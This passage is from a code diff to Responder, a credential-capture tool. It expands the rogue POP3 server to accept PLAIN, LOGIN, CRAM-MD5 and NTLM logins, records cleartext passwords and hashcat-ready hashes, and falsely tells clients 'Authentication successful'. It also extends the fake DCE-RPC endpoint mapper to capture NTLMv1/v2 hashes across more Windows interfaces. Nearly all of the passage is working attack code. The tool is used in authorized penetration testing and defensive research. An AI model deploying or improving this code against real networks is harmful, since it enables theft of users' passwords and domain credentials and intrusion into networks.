|
||||
return False
|
||||
|
||||
SaveToDb({
|
||||
'module': 'POP3',
|
||||
'type': 'AUTH-PLAIN',
|
||||
'client': self.client_address[0],
|
||||
'user': username,
|
||||
'cleartext': password,
|
||||
'fullhash': username + ":" + password,
|
||||
})
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(color("[*] [POP3] Captured AUTH PLAIN credentials from %s for user %s" % (
|
||||
self.client_address[0].replace("::ffff:", ""), username), 2, 1))
|
||||
|
||||
return True
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[POP3] Error parsing AUTH PLAIN: %s' % str(e)))
|
||||
return False
|
||||
|
||||
def handle_auth_login(self, data):
|
||||
"""Handle AUTH LOGIN (two-stage base64 authentication)"""
|
||||
try:
|
||||
# AUTH LOGIN is two-stage:
|
||||
# Client: AUTH LOGIN
|
||||
# Server: + VXNlcm5hbWU6 (base64 "Username:")
|
||||
# Client: <base64 username>
|
||||
# Server: + UGFzc3dvcmQ6 (base64 "Password:")
|
||||
# Client: <base64 password>
|
||||
|
||||
# Send "Username:" prompt
|
||||
self.send_continue(base64.b64encode(b"Username:").decode('latin-1'))
|
||||
username_b64 = self.request.recv(1024).strip()
|
||||
|
||||
if not username_b64:
|
||||
return False
|
||||
|
||||
username = base64.b64decode(username_b64).decode('latin-1', errors='ignore')
|
||||
|
||||
# Send "Password:" prompt
|
||||
self.send_continue(base64.b64encode(b"Password:").decode('latin-1'))
|
||||
password_b64 = self.request.recv(1024).strip()
|
||||
|
||||
if not password_b64:
|
||||
return False
|
||||
|
||||
password = base64.b64decode(password_b64).decode('latin-1', errors='ignore')
|
||||
|
||||
SaveToDb({
|
||||
'module': 'POP3',
|
||||
'type': 'AUTH-LOGIN',
|
||||
'client': self.client_address[0],
|
||||
'user': username,
|
||||
'cleartext': password,
|
||||
'fullhash': username + ":" + password,
|
||||
})
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(color("[*] [POP3] Captured AUTH LOGIN credentials from %s for user %s" % (
|
||||
self.client_address[0].replace("::ffff:", ""), username), 2, 1))
|
||||
|
||||
return True
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[POP3] Error parsing AUTH LOGIN: %s' % str(e)))
|
||||
return False
|
||||
|
||||
def handle_auth_cram_md5(self, data):
|
||||
"""Handle AUTH CRAM-MD5 (challenge-response)"""
|
||||
try:
|
||||
# Generate challenge
|
||||
import time
|
||||
challenge = "<%d.%d@%s>" % (os.getpid(), int(time.time()), settings.Config.MachineName)
|
||||
challenge_b64 = base64.b64encode(challenge.encode('latin-1')).decode('latin-1')
|
||||
|
||||
# Send challenge
|
||||
self.send_continue(challenge_b64)
|
||||
|
||||
# Receive response
|
||||
response_b64 = self.request.recv(1024).strip()
|
||||
if not response_b64:
|
||||
return False
|
||||
|
||||
response = base64.b64decode(response_b64).decode('latin-1', errors='ignore')
|
||||
# Response format: username<space>digest
|
||||
parts = response.split(' ', 1)
|
||||
|
||||
if len(parts) < 2:
|
||||
return False
|
||||
|
||||
username = parts[0]
|
||||
digest = parts[1].lower()
|
||||
|
||||
# Format for hashcat: $cram_md5$challenge$digest$username
|
||||
hash_string = "%s:$cram_md5$%s$%s" % (username, challenge, digest)
|
||||
|
||||
SaveToDb({
|
||||
'module': 'POP3',
|
||||
'type': 'CRAM-MD5',
|
||||
'client': self.client_address[0],
|
||||
'user': username,
|
||||
'hash': digest,
|
||||
'fullhash': hash_string,
|
||||
})
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(color("[*] [POP3] Captured CRAM-MD5 hash from %s for user %s" % (
|
||||
self.client_address[0].replace("::ffff:", ""), username), 3, 1))
|
||||
|
||||
return True
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[POP3] Error parsing CRAM-MD5: %s' % str(e)))
|
||||
return False
|
||||
|
||||
def handle_ntlm_auth(self, data):
|
||||
"""Handle NTLM authentication"""
|
||||
try:
|
||||
# Check for NTLMSSP NEGOTIATE
|
||||
if b'NTLMSSP\x00\x01' in data:
|
||||
# Generate NTLM challenge
|
||||
challenge = RandomChallenge()
|
||||
|
||||
# Build NTLMSSP CHALLENGE
|
||||
ntlm_challenge = b'NTLMSSP\x00'
|
||||
ntlm_challenge += struct.pack('<I', 2) # Type 2
|
||||
ntlm_challenge += struct.pack('<HHI', 0, 0, 0) # Target name
|
||||
ntlm_challenge += struct.pack('<I', 0x00008201) # Flags
|
||||
ntlm_challenge += challenge # Server challenge
|
||||
ntlm_challenge += b'\x00' * 8 # Reserved
|
||||
ntlm_challenge += struct.pack('<HHI', 0, 0, 0) # Target info
|
||||
|
||||
# Send challenge (base64 encoded in continuation)
|
||||
challenge_b64 = base64.b64encode(ntlm_challenge).decode('latin-1')
|
||||
self.send_continue(challenge_b64)
|
||||
|
||||
# Receive NTLMSSP AUTH
|
||||
auth_b64 = self.request.recv(2048).strip()
|
||||
if not auth_b64 or auth_b64 == b'*':
|
||||
return False
|
||||
|
||||
auth_data = base64.b64decode(auth_b64)
|
||||
|
||||
# Parse NTLMSSP AUTH
|
||||
if auth_data[0:8] != b'NTLMSSP\x00':
|
||||
return False
|
||||
|
||||
msg_type = struct.unpack('<I', auth_data[8:12])[0]
|
||||
if msg_type != 3:
|
||||
return False
|
||||
|
||||
# Parse fields
|
||||
lm_len = struct.unpack('<H', auth_data[12:14])[0]
|
||||
lm_offset = struct.unpack('<I', auth_data[16:20])[0]
|
||||
|
||||
ntlm_len = struct.unpack('<H', auth_data[20:22])[0]
|
||||
ntlm_offset = struct.unpack('<I', auth_data[24:28])[0]
|
||||
|
||||
domain_len = struct.unpack('<H', auth_data[28:30])[0]
|
||||
domain_offset = struct.unpack('<I', auth_data[32:36])[0]
|
||||
|
||||
user_len = struct.unpack('<H', auth_data[36:38])[0]
|
||||
user_offset = struct.unpack('<I', auth_data[40:44])[0]
|
||||
|
||||
# Extract data
|
||||
username = auth_data[user_offset:user_offset+user_len].decode('utf-16-le', errors='ignore')
|
||||
domain = auth_data[domain_offset:domain_offset+domain_len].decode('utf-16-le', errors='ignore')
|
||||
lm_hash = auth_data[lm_offset:lm_offset+lm_len]
|
||||
ntlm_hash = auth_data[ntlm_offset:ntlm_offset+ntlm_len]
|
||||
|
||||
# Determine version
|
||||
if ntlm_len == 24:
|
||||
hash_type = "NTLMv1"
|
||||
hash_string = "%s::%s:%s:%s:%s" % (
|
||||
username, domain,
|
||||
codecs.encode(lm_hash, 'hex').decode('latin-1'),
|
||||
codecs.encode(ntlm_hash, 'hex').decode('latin-1'),
|
||||
codecs.encode(challenge, 'hex').decode('latin-1')
|
||||
)
|
||||
elif ntlm_len > 24:
|
||||
hash_type = "NTLMv2"
|
||||
hash_string = "%s::%s:%s:%s:%s" % (
|
||||
username, domain,
|
||||
codecs.encode(challenge, 'hex').decode('latin-1'),
|
||||
codecs.encode(ntlm_hash[:16], 'hex').decode('latin-1'),
|
||||
codecs.encode(ntlm_hash[16:], 'hex').decode('latin-1')
|
||||
)
|
||||
else:
|
||||
return False
|
||||
|
||||
SaveToDb({
|
||||
'module': 'POP3',
|
||||
'type': hash_type + '-SSP',
|
||||
'client': self.client_address[0],
|
||||
'user': domain + '\\' + username,
|
||||
'hash': codecs.encode(ntlm_hash, 'hex').decode('latin-1'),
|
||||
'fullhash': hash_string,
|
||||
})
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(color("[*] [POP3] Captured %s hash from %s for user %s\\%s" % (
|
||||
hash_type, self.client_address[0].replace("::ffff:", ""), domain, username), 3, 1))
|
||||
|
||||
return True
|
||||
|
||||
return False
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[POP3] Error parsing NTLM: %s' % str(e)))
|
||||
return False
|
||||
|
||||
def SendPacketAndRead(self):
|
||||
"""Send OK packet and read response"""
|
||||
Packet = POPOKPacket()
|
||||
self.request.send(NetworkSendBufferPython2or3(Packet))
|
||||
return self.request.recv(1024)
|
||||
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
data = self.SendPacketAndRead()
|
||||
if data[0:4] == b'CAPA':
|
||||
self.request.send(NetworkSendBufferPython2or3(POPNotOKPacket()))
|
||||
# Generate challenge for APOP
|
||||
challenge = self.generate_challenge()
|
||||
|
||||
# Send banner with challenge for APOP support
|
||||
banner = "+OK POP3 server ready %s\r\n" % challenge
|
||||
self.request.send(banner.encode('latin-1'))
|
||||
|
||||
# Read first command
|
||||
data = self.request.recv(1024)
|
||||
|
||||
# Handle CAPA (capability) command
|
||||
if data[0:4].upper() == b'CAPA':
|
||||
# Advertise supported auth methods
|
||||
capabilities = [
|
||||
"+OK Capability list follows",
|
||||
"USER",
|
||||
"SASL PLAIN LOGIN CRAM-MD5 NTLM",
|
||||
"IMPLEMENTATION Responder POP3",
|
||||
"."
|
||||
]
|
||||
self.request.send("\r\n".join(capabilities).encode('latin-1') + b"\r\n")
|
||||
data = self.request.recv(1024)
|
||||
if data[0:4] == b'AUTH':
|
||||
self.request.send(NetworkSendBufferPython2or3(POPNotOKPacket()))
|
||||
|
||||
# Handle AUTH command
|
||||
if data[0:4].upper() == b'AUTH':
|
||||
mechanism = data[5:].strip().upper()
|
||||
|
||||
if mechanism == b'PLAIN':
|
||||
self.handle_auth_plain(data)
|
||||
self.send_ok("Authentication successful")
|
||||
return
|
||||
|
||||
elif mechanism == b'LOGIN':
|
||||
self.handle_auth_login(data)
|
||||
self.send_ok("Authentication successful")
|
||||
return
|
||||
|
||||
elif mechanism == b'CRAM-MD5' or mechanism.startswith(b'CRAM'):
|
||||
self.handle_auth_cram_md5(data)
|
||||
self.send_ok("Authentication successful")
|
||||
return
|
||||
|
||||
elif mechanism == b'NTLM':
|
||||
if self.handle_ntlm_auth(data):
|
||||
self.send_ok("Authentication successful")
|
||||
else:
|
||||
self.send_err("Authentication failed")
|
||||
return
|
||||
|
||||
elif not mechanism:
|
||||
# AUTH without mechanism - list supported
|
||||
auth_list = "+OK Supported mechanisms:\r\nPLAIN\r\nLOGIN\r\nCRAM-MD5\r\nNTLM\r\n.\r\n"
|
||||
self.request.send(auth_list.encode('latin-1'))
|
||||
data = self.request.recv(1024)
|
||||
else:
|
||||
self.send_err("Unsupported authentication method")
|
||||
return
|
||||
|
||||
# Handle APOP command
|
||||
if data[0:4].upper() == b'APOP':
|
||||
if self.handle_apop(data):
|
||||
self.send_ok("Authentication successful")
|
||||
else:
|
||||
self.send_err("Authentication failed")
|
||||
return
|
||||
|
||||
# Handle traditional USER/PASS
|
||||
if data[0:4].upper() == b'USER':
|
||||
User = data[5:].strip(b"\r\n").decode("latin-1", errors='ignore')
|
||||
self.send_ok("Password required")
|
||||
data = self.request.recv(1024)
|
||||
if data[0:4] == b'USER':
|
||||
User = data[5:].strip(b"\r\n").decode("latin-1")
|
||||
data = self.SendPacketAndRead()
|
||||
if data[0:4] == b'PASS':
|
||||
Pass = data[5:].strip(b"\r\n").decode("latin-1")
|
||||
|
||||
SaveToDb({
|
||||
'module': 'POP3',
|
||||
'type': 'Cleartext',
|
||||
'client': self.client_address[0],
|
||||
'user': User,
|
||||
'cleartext': Pass,
|
||||
'fullhash': User+":"+Pass,
|
||||
})
|
||||
self.SendPacketAndRead()
|
||||
except Exception:
|
||||
|
||||
if data[0:4].upper() == b'PASS':
|
||||
Pass = data[5:].strip(b"\r\n").decode("latin-1", errors='ignore')
|
||||
|
||||
SaveToDb({
|
||||
'module': 'POP3',
|
||||
'type': 'Cleartext',
|
||||
'client': self.client_address[0],
|
||||
'user': User,
|
||||
'cleartext': Pass,
|
||||
'fullhash': User + ":" + Pass,
|
||||
})
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(color("[*] [POP3] Captured cleartext credentials from %s for user %s" % (
|
||||
self.client_address[0].replace("::ffff:", ""), User), 2, 1))
|
||||
|
||||
self.send_ok("Authentication successful")
|
||||
return
|
||||
|
||||
self.send_err("Unknown command")
|
||||
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[POP3] Exception: %s' % str(e)))
|
||||
pass
|
||||
|
||||
437
servers/RPC.py
437
servers/RPC.py
@@ -27,188 +27,375 @@ else:
|
||||
|
||||
from packets import RPCMapBindAckAcceptedAns, RPCMapBindMapperAns, RPCHeader, NTLMChallenge, RPCNTLMNego
|
||||
|
||||
NDR = "\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00\x2b\x10\x48\x60" #v2
|
||||
Map = "\x33\x05\x71\x71\xba\xbe\x37\x49\x83\x19\xb5\xdb\xef\x9c\xcc\x36" #v1
|
||||
# Transfer syntaxes
|
||||
NDR = "\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00\x2b\x10\x48\x60" # NDR v2
|
||||
Map = "\x33\x05\x71\x71\xba\xbe\x37\x49\x83\x19\xb5\xdb\xef\x9c\xcc\x36" # v1
|
||||
MapBind = "\x08\x83\xaf\xe1\x1f\x5d\xc9\x11\x91\xa4\x08\x00\x2b\x14\xa0\xfa"
|
||||
|
||||
#for mapper
|
||||
DSRUAPI = "\x35\x42\x51\xe3\x06\x4b\xd1\x11\xab\x04\x00\xc0\x4f\xc2\xdc\xd2" #v4
|
||||
LSARPC = "\x78\x57\x34\x12\x34\x12\xcd\xab\xef\x00\x01\x23\x45\x67\x89\xab" #v0
|
||||
NETLOGON = "\x78\x56\x34\x12\x34\x12\xcd\xab\xef\x00\x01\x23\x45\x67\xcf\xfb" #v1
|
||||
WINSPOOL = "\x96\x3f\xf0\x76\xfd\xcd\xfc\x44\xa2\x2c\x64\x95\x0a\x00\x12\x09" #v1
|
||||
# Common RPC interface UUIDs (original ones)
|
||||
DSRUAPI = "\x35\x42\x51\xe3\x06\x4b\xd1\x11\xab\x04\x00\xc0\x4f\xc2\xdc\xd2" # v4
|
||||
LSARPC = "\x78\x57\x34\x12\x34\x12\xcd\xab\xef\x00\x01\x23\x45\x67\x89\xab" # v0
|
||||
NETLOGON = "\x78\x56\x34\x12\x34\x12\xcd\xab\xef\x00\x01\x23\x45\x67\xcf\xfb" # v1
|
||||
WINSPOOL = "\x96\x3f\xf0\x76\xfd\xcd\xfc\x44\xa2\x2c\x64\x95\x0a\x00\x12\x09" # v1
|
||||
|
||||
# Additional RPC interfaces for better coverage
|
||||
SAMR = "\x78\x57\x34\x12\x34\x12\xcd\xab\xef\x00\x01\x23\x45\x67\x89\xac" # v1 - Security Account Manager
|
||||
SRVSVC = "\xc8\x4f\x32\x4b\x70\x16\xd3\x01\x12\x78\x5a\x47\xbf\x6e\xe1\x88" # v3 - Server Service
|
||||
WKSSVC = "\x98\xd0\xff\x6b\x12\xa1\x10\x36\x98\x33\x46\xc3\xf8\x7e\x34\x5a" # v1 - Workstation Service
|
||||
WINREG = "\x01\xd0\x8c\x33\x44\x22\xf1\x31\xaa\xaa\x90\x00\x38\x00\x10\x03" # v1 - Windows Registry
|
||||
SVCCTL = "\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03" # v2 - Service Control Manager
|
||||
ATSVC = "\x82\x06\xf7\x1f\x51\x0a\xe8\x30\x07\x6d\x74\x0b\xe8\xce\xe9\x8b" # v1 - Task Scheduler
|
||||
DNSSERVER= "\xa4\xc2\xab\x50\x4d\x57\xb3\x40\x9d\x66\xee\x4f\xd5\xfb\xa0\x76" # v5 - DNS Server
|
||||
|
||||
|
||||
def Chose3264x(packet):
|
||||
if Map32 in packet:
|
||||
return Map32
|
||||
else:
|
||||
return Map64
|
||||
# Interface names for logging
|
||||
INTERFACE_NAMES = {
|
||||
DSRUAPI: "DRSUAPI",
|
||||
LSARPC: "LSARPC",
|
||||
NETLOGON: "NETLOGON",
|
||||
WINSPOOL: "WINSPOOL",
|
||||
SAMR: "SAMR",
|
||||
SRVSVC: "SRVSVC",
|
||||
WKSSVC: "WKSSVC",
|
||||
WINREG: "WINREG",
|
||||
SVCCTL: "SVCCTL",
|
||||
ATSVC: "ATSVC",
|
||||
DNSSERVER: "DNSSERVER"
|
||||
}
|
||||
|
||||
def FindNTLMOpcode(data):
|
||||
SSPIStart = data.find(b'NTLMSSP')
|
||||
"""Find NTLMSSP message type in data"""
|
||||
SSPIStart = data.find(b'NTLMSSP')
|
||||
if SSPIStart == -1:
|
||||
return False
|
||||
SSPIString = data[SSPIStart:]
|
||||
if len(SSPIString) < 12:
|
||||
return False
|
||||
return SSPIString[8:12]
|
||||
|
||||
def ParseRPCHash(data,client, Challenge): #Parse NTLMSSP v1/v2
|
||||
SSPIStart = data.find(b'NTLMSSP')
|
||||
def ParseRPCHash(data, client, Challenge):
|
||||
"""Parse NTLMSSP v1/v2 hashes from RPC data"""
|
||||
SSPIStart = data.find(b'NTLMSSP')
|
||||
if SSPIStart == -1:
|
||||
return
|
||||
|
||||
SSPIString = data[SSPIStart:]
|
||||
LMhashLen = struct.unpack('<H',data[SSPIStart+14:SSPIStart+16])[0]
|
||||
LMhashOffset = struct.unpack('<H',data[SSPIStart+16:SSPIStart+18])[0]
|
||||
LMHash = SSPIString[LMhashOffset:LMhashOffset+LMhashLen]
|
||||
LMHash = codecs.encode(LMHash, 'hex').upper().decode('latin-1')
|
||||
NthashLen = struct.unpack('<H',data[SSPIStart+20:SSPIStart+22])[0]
|
||||
NthashOffset = struct.unpack('<H',data[SSPIStart+24:SSPIStart+26])[0]
|
||||
if len(SSPIString) < 64:
|
||||
return
|
||||
|
||||
try:
|
||||
LMhashLen = struct.unpack('<H', data[SSPIStart+14:SSPIStart+16])[0]
|
||||
LMhashOffset = struct.unpack('<H', data[SSPIStart+16:SSPIStart+18])[0]
|
||||
LMHash = SSPIString[LMhashOffset:LMhashOffset+LMhashLen]
|
||||
LMHash = codecs.encode(LMHash, 'hex').upper().decode('latin-1')
|
||||
|
||||
NthashLen = struct.unpack('<H', data[SSPIStart+20:SSPIStart+22])[0]
|
||||
NthashOffset = struct.unpack('<H', data[SSPIStart+24:SSPIStart+26])[0]
|
||||
|
||||
# NTLMv1
|
||||
if NthashLen == 24:
|
||||
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen]
|
||||
SMBHash = codecs.encode(SMBHash, 'hex').upper().decode('latin-1')
|
||||
DomainLen = struct.unpack('<H', SSPIString[30:32])[0]
|
||||
DomainOffset = struct.unpack('<H', SSPIString[32:34])[0]
|
||||
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
|
||||
UserLen = struct.unpack('<H', SSPIString[38:40])[0]
|
||||
UserOffset = struct.unpack('<H', SSPIString[40:42])[0]
|
||||
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
|
||||
|
||||
# Try to get hostname
|
||||
HostnameLen = struct.unpack('<H', SSPIString[46:48])[0]
|
||||
HostnameOffset = struct.unpack('<H', SSPIString[48:50])[0]
|
||||
if HostnameLen > 0 and HostnameOffset + HostnameLen <= len(SSPIString):
|
||||
Hostname = SSPIString[HostnameOffset:HostnameOffset+HostnameLen].decode('UTF-16LE', errors='ignore')
|
||||
else:
|
||||
Hostname = ''
|
||||
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, codecs.encode(Challenge, 'hex').decode('latin-1'))
|
||||
|
||||
SaveToDb({
|
||||
'module': 'DCE-RPC',
|
||||
'type': 'NTLMv1-SSP',
|
||||
'client': client,
|
||||
'hostname': Hostname,
|
||||
'user': Domain+'\\'+Username,
|
||||
'hash': SMBHash,
|
||||
'fullhash': WriteHash,
|
||||
})
|
||||
|
||||
# NTLMv2
|
||||
elif NthashLen > 60:
|
||||
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen]
|
||||
SMBHash = codecs.encode(SMBHash, 'hex').upper().decode('latin-1')
|
||||
DomainLen = struct.unpack('<H', SSPIString[30:32])[0]
|
||||
DomainOffset = struct.unpack('<H', SSPIString[32:34])[0]
|
||||
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
|
||||
UserLen = struct.unpack('<H', SSPIString[38:40])[0]
|
||||
UserOffset = struct.unpack('<H', SSPIString[40:42])[0]
|
||||
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
|
||||
|
||||
# Try to get hostname
|
||||
HostnameLen = struct.unpack('<H', SSPIString[46:48])[0]
|
||||
HostnameOffset = struct.unpack('<H', SSPIString[48:50])[0]
|
||||
if HostnameLen > 0 and HostnameOffset + HostnameLen <= len(SSPIString):
|
||||
Hostname = SSPIString[HostnameOffset:HostnameOffset+HostnameLen].decode('UTF-16LE', errors='ignore')
|
||||
else:
|
||||
Hostname = ''
|
||||
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, codecs.encode(Challenge, 'hex').decode('latin-1'), SMBHash[:32], SMBHash[32:])
|
||||
|
||||
SaveToDb({
|
||||
'module': 'DCE-RPC',
|
||||
'type': 'NTLMv2-SSP',
|
||||
'client': client,
|
||||
'hostname': Hostname,
|
||||
'user': Domain+'\\'+Username,
|
||||
'hash': SMBHash,
|
||||
'fullhash': WriteHash,
|
||||
})
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[DCE-RPC] Error parsing hash: %s' % str(e)))
|
||||
|
||||
if NthashLen == 24:
|
||||
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen]
|
||||
SMBHash = codecs.encode(SMBHash, 'hex').upper().decode('latin-1')
|
||||
DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
|
||||
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
|
||||
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
|
||||
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
|
||||
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
|
||||
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, codecs.encode(Challenge,'hex').decode('latin-1'))
|
||||
|
||||
SaveToDb({
|
||||
'module': 'DCE-RPC',
|
||||
'type': 'NTLMv1-SSP',
|
||||
'client': client,
|
||||
'user': Domain+'\\'+Username,
|
||||
'hash': SMBHash,
|
||||
'fullhash': WriteHash,
|
||||
})
|
||||
|
||||
if NthashLen > 60:
|
||||
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen]
|
||||
SMBHash = codecs.encode(SMBHash, 'hex').upper().decode('latin-1')
|
||||
DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
|
||||
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
|
||||
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
|
||||
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
|
||||
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
|
||||
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, codecs.encode(Challenge,'hex').decode('latin-1'), SMBHash[:32], SMBHash[32:])
|
||||
|
||||
SaveToDb({
|
||||
'module': 'DCE-RPC',
|
||||
'type': 'NTLMv2-SSP',
|
||||
'client': client,
|
||||
'user': Domain+'\\'+Username,
|
||||
'hash': SMBHash,
|
||||
'fullhash': WriteHash,
|
||||
})
|
||||
def FindInterfaceUUID(data):
|
||||
"""Find which RPC interface UUID is being requested"""
|
||||
# Check for each known interface UUID in the data
|
||||
for uuid, name in INTERFACE_NAMES.items():
|
||||
if NetworkSendBufferPython2or3(uuid) in data:
|
||||
return uuid, name
|
||||
return None, None
|
||||
|
||||
class RPCMap(BaseRequestHandler):
|
||||
"""RPCMap handler - Port 135 Endpoint Mapper"""
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
data = self.request.recv(1024)
|
||||
data = self.request.recv(2048)
|
||||
if not data:
|
||||
return
|
||||
|
||||
self.request.settimeout(5)
|
||||
Challenge = RandomChallenge()
|
||||
if data[0:3] == b"\x05\x00\x0b":#Bind Req.
|
||||
#More recent windows version can and will bind on port 135...Let's grab it.
|
||||
|
||||
# Handle BIND request
|
||||
if data[0:3] == b"\x05\x00\x0b": # Bind Request
|
||||
# Identify which interface first
|
||||
uuid, interface_name = FindInterfaceUUID(data)
|
||||
if not interface_name:
|
||||
interface_name = "unknown interface"
|
||||
|
||||
# Check for NTLMSSP NEGOTIATE in BIND
|
||||
if FindNTLMOpcode(data) == b"\x01\x00\x00\x00":
|
||||
# Send NTLMSSP CHALLENGE
|
||||
n = NTLMChallenge(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge))
|
||||
n.calculate()
|
||||
RPC = RPCNTLMNego(Data=n)
|
||||
RPC.calculate()
|
||||
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
|
||||
# Receive NTLMSSP AUTH
|
||||
data = self.request.recv(2048)
|
||||
if FindNTLMOpcode(data) == b"\x03\x00\x00\x00":
|
||||
ParseRPCHash(data, self.client_address[0], Challenge)
|
||||
print(color("[*] [DCE-RPC] NTLM authentication on %s from %s" % (interface_name, self.client_address[0].replace("::ffff:", "")), 3, 1))
|
||||
self.request.close()
|
||||
|
||||
if NetworkSendBufferPython2or3(Map) in data:# Let's redirect to Mapper.
|
||||
RPC = RPCMapBindAckAcceptedAns(CTX1UID=Map, CTX1UIDVersion="\x01\x00\x00\x00",CallID=NetworkRecvBufferPython2or3(data[12:16]))
|
||||
|
||||
|
||||
if NetworkSendBufferPython2or3(NDR) in data and NetworkSendBufferPython2or3(Map) not in data: # Let's redirect to Mapper.
|
||||
return
|
||||
|
||||
# Standard BIND processing
|
||||
if NetworkSendBufferPython2or3(Map) in data:
|
||||
RPC = RPCMapBindAckAcceptedAns(CTX1UID=Map, CTX1UIDVersion="\x01\x00\x00\x00", CallID=NetworkRecvBufferPython2or3(data[12:16]))
|
||||
elif NetworkSendBufferPython2or3(NDR) in data and NetworkSendBufferPython2or3(Map) not in data:
|
||||
RPC = RPCMapBindAckAcceptedAns(CTX1UID=NDR, CTX1UIDVersion="\x02\x00\x00\x00", CallID=NetworkRecvBufferPython2or3(data[12:16]))
|
||||
|
||||
|
||||
else:
|
||||
# Try to identify which interface
|
||||
if uuid:
|
||||
RPC = RPCMapBindAckAcceptedAns(CTX1UID=uuid, CTX1UIDVersion="\x01\x00\x00\x00", CallID=NetworkRecvBufferPython2or3(data[12:16]))
|
||||
if settings.Config.Verbose:
|
||||
print(text('[DCE-RPC] BIND request for %s from %s' % (interface_name, self.client_address[0].replace("::ffff:", ""))))
|
||||
else:
|
||||
# Default to NDR
|
||||
RPC = RPCMapBindAckAcceptedAns(CTX1UID=NDR, CTX1UIDVersion="\x02\x00\x00\x00", CallID=NetworkRecvBufferPython2or3(data[12:16]))
|
||||
|
||||
RPC.calculate()
|
||||
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
if data[0:3] == b"\x05\x00\x00":#Mapper Response.
|
||||
|
||||
# DSRUAPI
|
||||
if NetworkSendBufferPython2or3(DSRUAPI) in data:
|
||||
|
||||
# Try to receive more data (AUTH3 or REQUEST)
|
||||
try:
|
||||
data = self.request.recv(2048)
|
||||
if data:
|
||||
# Check for AUTH3 (packet type 0x10)
|
||||
if len(data) > 2 and data[2:3] == b"\x10":
|
||||
if FindNTLMOpcode(data) == b"\x03\x00\x00\x00":
|
||||
ParseRPCHash(data, self.client_address[0], Challenge)
|
||||
print(color("[*] [DCE-RPC] NTLM authentication on %s from %s" % (interface_name, self.client_address[0].replace("::ffff:", "")), 3, 1))
|
||||
# Check for NTLM in any subsequent packet
|
||||
elif FindNTLMOpcode(data) == b"\x03\x00\x00\x00":
|
||||
ParseRPCHash(data, self.client_address[0], Challenge)
|
||||
print(color("[*] [DCE-RPC] NTLM authentication on %s from %s" % (interface_name, self.client_address[0].replace("::ffff:", "")), 3, 1))
|
||||
except:
|
||||
pass
|
||||
|
||||
# Handle mapper requests (after BIND)
|
||||
elif data[0:3] == b"\x05\x00\x00": # Mapper request
|
||||
uuid, name = FindInterfaceUUID(data)
|
||||
|
||||
if uuid == DSRUAPI:
|
||||
x = RPCMapBindMapperAns()
|
||||
x.calculate()
|
||||
RPC = RPCHeader(Data = x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
|
||||
RPC = RPCHeader(Data=x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
|
||||
RPC.calculate()
|
||||
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
|
||||
data = self.request.recv(1024)
|
||||
print(color("[*] [DCE-RPC Mapper] Redirected %-15s to DSRUAPI auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1))
|
||||
self.request.close()
|
||||
|
||||
#LSARPC
|
||||
if NetworkSendBufferPython2or3(LSARPC) in data:
|
||||
x = RPCMapBindMapperAns(Tower1UID=LSARPC,Tower1Version="\x00\x00",Tower2UID=NDR,Tower2Version="\x02\x00")
|
||||
print(color("[*] [DCE-RPC Mapper] Redirected %-15s to DRSUAPI auth server." % self.client_address[0].replace("::ffff:", ""), 3, 1))
|
||||
|
||||
elif uuid == LSARPC:
|
||||
x = RPCMapBindMapperAns(Tower1UID=LSARPC, Tower1Version="\x00\x00", Tower2UID=NDR, Tower2Version="\x02\x00")
|
||||
x.calculate()
|
||||
RPC = RPCHeader(Data = x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
|
||||
RPC = RPCHeader(Data=x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
|
||||
RPC.calculate()
|
||||
